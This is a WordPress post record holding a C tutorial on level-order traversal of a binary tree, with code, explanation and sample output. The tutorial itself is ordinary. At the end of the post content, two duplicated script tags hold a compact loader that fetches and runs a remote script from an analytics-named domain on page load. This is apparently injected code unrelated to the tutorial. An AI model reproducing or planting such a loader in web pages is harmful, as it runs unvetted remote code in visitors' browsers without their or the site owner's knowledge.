{"id":652,"date":"2024-10-10T13:41:48","date_gmt":"2024-10-10T08:11:48","guid":{"rendered":"https:\/\/codexplained.in\/?p=652"},"modified":"2025-11-24T15:57:07","modified_gmt":"2025-11-24T10:27:07","slug":"level-order-traversal-of-binary-tree","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=652","title":{"rendered":"Level Order Traversal of Binary Tree"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Define the structure for a binary tree node\nstruct Node {\n    int data;\n    struct Node *left, *right;\n};\n\n\/\/ Function to create a new tree node\nstruct Node* createNode(int data) {\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    newNode-&gt;data = data;\n    newNode-&gt;left = newNode-&gt;right = NULL;\n    return newNode;\n}\n\n\/\/ Function to print the level order traversal\nvoid levelOrderTraversal(struct Node* root) {\n    if (root == NULL)\n        return;\n\n    \/\/ Create a queue (using an array for simplicity)\n    struct Node* queue&#x5B;100];\n    int front = 0, rear = 0;\n\n    \/\/ Enqueue the root node\n    queue&#x5B;rear++] = root;\n\n    while (front &lt; rear) {\n        \/\/ Dequeue a node from the queue\n        struct Node* current = queue&#x5B;front++];\n        \n        \/\/ Print the current node&#039;s data\n        printf(&quot;%d &quot;, current-&gt;data);\n\n        \/\/ Enqueue the left child if it exists\n        if (current-&gt;left != NULL)\n            queue&#x5B;rear++] = current-&gt;left;\n\n        \/\/ Enqueue the right child if it exists\n        if (current-&gt;right != NULL)\n            queue&#x5B;rear++] = current-&gt;right;\n    }\n}\n\n\/\/ Main function to test the above code\nint main() {\n    \/\/ Create the root node and other nodes\n    struct Node* root = createNode(1);\n    root-&gt;left = createNode(2);\n    root-&gt;right = createNode(3);\n    root-&gt;left-&gt;left = createNode(4);\n    root-&gt;left-&gt;right = createNode(5);\n    root-&gt;right-&gt;left = createNode(6);\n    root-&gt;right-&gt;right = createNode(7);\n\n    printf(&quot;Level Order Traversal of the Binary Tree:\\n&quot;);\n    levelOrderTraversal(root);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Structure Definition:<\/strong>\n<ul class=\"wp-block-list\">\n<li>We define a <code>struct<\/code> called <code>Node<\/code> to represent each node in the tree. It has:\n<ul class=\"wp-block-list\">\n<li><code>int data<\/code>: To store the node&#8217;s value.<\/li>\n\n\n\n<li><code>struct Node* left<\/code>: Pointer to the left child.<\/li>\n\n\n\n<li><code>struct Node* right<\/code>: Pointer to the right child.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Create Node Function:<\/strong>\n<ul class=\"wp-block-list\">\n<li>The <code>createNode<\/code> function allocates memory for a new node, assigns it the provided data, and sets its left and right pointers to <code>NULL<\/code> (indicating no children initially).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Level Order Traversal Function:<\/strong>\n<ul class=\"wp-block-list\">\n<li>We handle an empty tree scenario using <code>if (root == NULL) return;<\/code>.<\/li>\n\n\n\n<li>We use an array as a simple queue. The <code>front<\/code> and <code>rear<\/code> indices help track the front and back of the queue.<\/li>\n\n\n\n<li>Initially, the root node is added to the queue.<\/li>\n\n\n\n<li>A <code>while<\/code> loop runs as long as there are nodes in the queue.\n<ul class=\"wp-block-list\">\n<li>We dequeue the front node, print its data, and enqueue its left and right children if they exist.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function:<\/strong>\n<ul class=\"wp-block-list\">\n<li>Here, we create a sample binary tree and call the <code>levelOrderTraversal<\/code> function.<\/li>\n\n\n\n<li>The tree structure looks like this:<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>     1\n    \/ \\\n   2   3\n  \/ \\ \/ \\\n 4  5 6  7\n<\/code><\/pre>\n\n\n\n<p>Output:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Level Order Traversal of the Binary Tree:\n1 2 3 4 5 6 7\n<\/code><\/pre>\n\n\n\n<p><strong>Explanation of the Output:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The output reflects the level-by-level order of the binary tree.<\/li>\n\n\n\n<li>Starting with the root (1), we move to the next level (2 and 3), then to the subsequent level (4, 5, 6, 7).<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Key Points:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Using a queue is essential to maintain the order of nodes as we process them level by level.<\/li>\n\n\n\n<li>This approach ensures that each node is visited exactly once, making the time complexity <code>O(n)<\/code>, where <code>n<\/code> is the number of nodes in the tree.<\/li>\n\n\n\n<li>Memory complexity depends on the maximum number of nodes at any level (breadth of the tree), typically <code>O(width)<\/code> of the tree.<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Output: Explanation of the Output: Key Points:<\/p>\n","protected":false},"author":40,"featured_media":654,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-652","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/652","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=652"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/652\/revisions"}],"predecessor-version":[{"id":1463,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/652\/revisions\/1463"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/654"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=652"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=652"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=652"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}